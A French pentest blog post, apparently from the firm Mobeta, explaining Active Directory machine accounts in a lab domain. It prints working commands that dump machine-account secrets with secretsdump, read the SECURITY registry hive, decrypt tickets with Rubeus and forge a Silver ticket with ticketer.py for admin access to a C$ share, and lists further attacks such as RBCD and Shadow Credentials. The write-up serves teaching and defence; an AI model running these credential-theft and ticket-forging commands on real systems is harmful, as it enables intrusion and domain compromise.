NEW

Les pentests automatisés par IA sont arrivés chez Mobeta

Les comptes machines dans Active Directory

Accès administrateur au partage C$ d’un poste, obtenu via un Silver ticket forgé à partir du secret de son compte machine

Introduction

Ces dernières années, le concept de compte machine dans Active Directory a gagné en popularité. Cela est notamment dû à l’utilisation de plus en plus fréquente de ces comptes dans des scénarios de compromission. On peut par exemple citer l’attaque Shadow Credentials expliquée dans cet article.

J’ai mis du temps à comprendre cette notion de compte machine (et je suis probablement loin d’en avoir compris toutes les subtilités). Durant ma carrière de pentester j’ai croisé beaucoup de collègues pour qui ce concept était très flou. A fortiori, c’est encore plus vrai pour des administrateurs systèmes, qui ne comprennent pas forcément les caractéristiques et les dangers de ces comptes.

Le but de cet article n’est pas de décrire chaque caractéristique et fonctionnement d’un compte machine, mais plutôt de résumer en quelques paragraphes ce que j’aurais aimé que l’on m’explique il y a plusieurs années lorsque j’ai commencé à réaliser des pentests sur Active Directory.

Setup

Pour cet article, j’utilise le lab suivant :

  • Machines :
    • DC01 (192.168.56.3) : Contrôleur de domaine
    • WORKSTATION1 (192.168.56.4) : Workstation Windows reliée au domaine
  • Nom de domaine : domain.local

Qu’est-ce qu’un compte machine ?

D’après Microsoft :

Computer account: Identifies computers that belong to a domain. A computer account is commonly referred to as a « machine account ». Every Windows computer that joins a domain has a computer account. Computer accounts provide a means for authenticating and auditing computer access to the network and to domain resources. Each computer account is unique.

Ainsi, chaque machine qui rejoint le domaine possède un compte associé (le compte machine), qui permet à cette machine de communiquer sur le réseau et notamment d’accéder à des ressources sur domaine. Le nom de ce compte est le nom de la machine, suivi d’un ‘$’.  Par exemple dans le lab, la machine WORKSTATION1 est associée au compte machine WORKSTATION1$. Le mot de passe de ce compte est stocké à la fois sur le contrôleur de domaine et sur la machine.

Sur le contrôleur de domaine

Le mot de passe est stocké dans la base NTDS.DIT, comme pour les comptes utilisateurs :

secretsdump.py 'domain.local'/'domainadmin1':'Lab123456*'@dc01.domain.local -just-dc-user WORKSTATION1$

Extraction du secret du compte WORKSTATION1$ depuis la base NTDS.DIT avec secretsdump

Sur la machine

Le mot de passe est stocké dans les secrets du registre :

Get-ChildItem -Path 'Registry::HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\$MACHINE.ACC'

Lecture du secret $MACHINE.ACC dans la ruche SECURITY du registre local

secretsdump.py 'domain.local'/'domainadmin1':'Lab123456*'@workstation1.domain.local

secretsdump extrayant le mot de passe du compte machine depuis les secrets locaux du poste

La gestion du mot de passe n’est pas le sujet de cet article, cela est décrit en détail ici par exemple.

Le point clé dans la définition du compte machine est qu’il permet « d’accéder à des ressources sur le domaine ». Par exemple, le compte machine sera utilisé par la machine pour aller récupérer des informations sur un serveur MECM (Microsoft Configuration Manager). On peut l’illustrer en tentant d’accéder à un répertoire partagé SMB avec un processus lancé en tant que LocalSystem (NT AUTHORITY\SYSTEM) :

Un processus lancé en tant que SYSTEM s’authentifie sur un partage SMB avec le compte machine, capté par Responder

Quels sont les droits d’un compte machine ?

Par défaut, au niveau du domaine, un compte machine est membre d’un seul groupe : « Ordinateurs du domaine » (RID 515) :

Le compte machine, membre du seul groupe « Ordinateurs du domaine » (RID 515)

Il ne possède aucun droit privilégié sur le domaine. Qu’en est-il des droits de ce compte sur la machine associée ? Concrètement, est-ce que le compte WORKSTATION1$ est admin de la machine WORKSTATION1 ? Et bien non pas vraiment, enfin oui, mais c’est plus compliqué. Par défaut, le compte machine n’est pas présent dans le groupe « Administrateurs » local de la machine :

Le compte machine absent du groupe Administrateurs local de la machine

La raison qui explique pourquoi ce compte est si important et privilégié est liée à Kerberos. Je ne vais pas rappeler ici le fonctionnement de Kerberos, j’invite le lecteur à lire cet article pour cela.

Kerberos utilise la notion de service. Un service est défini par un SPN (Service Principal Name) et associé à un compte (le compte de service). Le secret de ce compte est utilisé pour chiffrer et donc sécuriser les échanges Kerberos. Pour l’ensemble des services built-in proposés par une machine ou un serveur Windows (SMB, LDAP, DNS, WinRM, RDP, etc.), le compte associé est le compte machine. On peut le voir en accédant à un partage réseau de la machine workstation1 avec un compte standard :

runas /user:domain.local\john.doe /netonly powershell.exe
net view \\workstation1.domain.local
.\Rubeus.exe dump /nowrap

Rubeus dump affichant le ticket de service CIFS de la machine, chiffré avec le compte machine

Avec la commande describe de Rubeus on peut déchiffrer le ticket de service (TGS) obtenu, avec le secret du compte machine, et ainsi confirmer l’association entre le service et le compte machine :

.\Rubeus.exe describe /ticket:TGS_BASE64 /serviceuser:WORKSTATION1$  /servicekey:408a1459c6e7b69d3c0e6828f7b9988d2472e05603c719b8fb12162067d0c326

Rubeus describe déchiffrant le TGS CIFS avec la clé du compte machine, confirmant l’association service–compte machine

Ainsi, la compromission d’un compte machine permet de réaliser une attaque de type « Silver ticket » sur les services de la machine.

Cas concret sur le service CIFS

Pour illustrer le paragraphe précédent, prenons l’exemple du service CIFS (partage de fichiers). Tout d’abord faisons une demande de TGS pour accéder au service CIFS de la machine WORKSTATION1 avec le compte WORKSTATION1$ :

getST.py -spn 'cifs/workstation1.domain.local' -aesKey 408a1459c6e7b69d3c0e6828f7b9988d2472e05603c719b8fb12162067d0c326 -dc-ip 192.168.56.3 domain.local/'WORKSTATION1$'

Demande d’un TGS pour le service CIFS avec getST.py et la clé AES du compte machine

On peut donc se connecter au service, mais sans droit particulier, ce qui est normal puisque comme nous l’avions expliqué, le compte machine n’a pas de droit particulier sur la machine. On peut le vérifier en listant le contenu du ticket :

describeTicket.py WORKSTATION1\$.ccache --aes 408a1459c6e7b69d3c0e6828f7b9988d2472e05603c719b8fb12162067d0c326

describeTicket.py affichant le contenu du TGS légitime, sans privilège particulier

Maintenant, forgeons un « Silver ticket », avec le secret du compte machine pour le service CIFS :

ticketer.py -aesKey 408a1459c6e7b69d3c0e6828f7b9988d2472e05603c719b8fb12162067d0c326  -domain domain.local -spn cifs/workstation1.domain.local -domain-sid S-1-5-21-1176280878-873389708-2045024501 'WORKSTATION1$'

Forge d’un Silver ticket avec ticketer.py puis accès administrateur au partage C$ de la machine via smbclient, sans mot de passe

Contenu du Silver ticket forgé, affichant des droits d’administrateur dans le PAC

Puisque le compte associé au service cifs/workstation1.domain.local est le compte machine WORKSTATION1$, l’attaque « Silver ticket » fonctionne et nous avons accès en administrateur au service.

Pour information, cet article donne l’association entre les services les plus utiles pour les attaquants et les SPN correspondants (très utile pour un pentester).

Pourquoi les comptes machines sont populaires ?

Comme dit au début de cet article, les comptes machines sont activement exploités par les attaquants en ce moment, voici quelques raisons qui expliquent cela :

  • Compromettre un compte machine = compromettre la machine associée (comme décrit dans cet article) ;
  • Par défaut, il est possible d’ajouter 10 machines au domaine (MachineAccountQuota) ;
  • Il existe des méthodes considérées par Microsoft comme « Won’t Fix » permettant de forcer une machine à s’authentifier avec le compte machine vers une machine arbitraire (Ex: PetitPotam) ;
  • Contrairement aux comptes utilisateurs, les comptes machines peuvent modifier leur attribut msDS-KeyCredentialLink (attaque Shadow Credentials)
  • Les comptes machines peuvent modifier leur attribut msDS-AllowedToActOnBehalfOfOtherIdentity et donc être la cible de l’attaque RBCD. Les comptes machines peuvent aussi être utilisés comme valeur pour cet attribut et donc devenir un outil pour exploiter d’autres comptes ;
  • Par défaut, un template de certificat (ADCS) est disponible pour les machines, ce qui permet d’exploiter les comptes machines via ESC8 par exemple ;
  • Les comptes machines possèdent un accès particulier au serveur MECM.

Conclusion

La compréhension des comptes machines dans l’Active DIrectory a été grandement améliorée ces dernières années. De nombreux scénarios exploitant ces comptes ont été découverts et participent à la compromission de la quasi totalité des réseaux internes que nous auditons chez Mobeta. Il est fort probable que d’autres techniques exploitant ces comptes seront découvertes dans le futur et il est donc important de se tenir à jour sur les méthodes d’exploitation (pour les pentester) et les méthodes de défense (pour les équipes défensives).

Lors de nos tests d’intrusion interne chez Mobeta, nous fournissons des recommandations à l’état de l’art pour se protéger des attaques associées aux comptes machines.

Ces techniques s’appliquent
à votre périmètre ?

Un échange de 30 min avec nos pentesters certifiés pour cadrer votre exposition. Sans engagement.

Planifier un échange

Quel est votre niveau
d’exposition réel ?

30 minutes avec un expert pour le savoir. Sans engagement.